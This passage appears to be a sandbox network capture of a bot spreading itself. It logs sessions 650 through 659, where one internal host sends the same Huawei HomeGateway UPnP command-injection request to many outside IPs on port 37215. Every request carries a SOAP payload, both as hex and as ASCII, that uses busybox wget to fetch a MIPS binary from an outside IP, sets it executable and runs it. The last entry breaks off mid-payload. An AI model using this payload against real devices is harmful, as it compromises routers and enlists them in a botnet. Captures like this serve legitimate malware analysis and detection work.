2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
650	192.168.2.13	34050	156.155.61.239	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.500886917 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
651	192.168.2.13	58548	41.114.65.8	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.501600027 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
652	192.168.2.13	51694	197.235.58.223	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.502250910 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
653	192.168.2.13	46240	41.185.155.40	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.502931118 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
654	192.168.2.13	36608	156.212.201.147	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.503623009 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
655	192.168.2.13	55388	197.86.241.113	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.504276991 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
656	192.168.2.13	34860	41.245.146.76	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.504959106 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
657	192.168.2.13	42276	41.70.83.42	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.505631924 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
658	192.168.2.13	32782	156.211.133.216	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.506272078 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
659	192.168.2.13	38860	41.53.52.238	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.506944895 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; 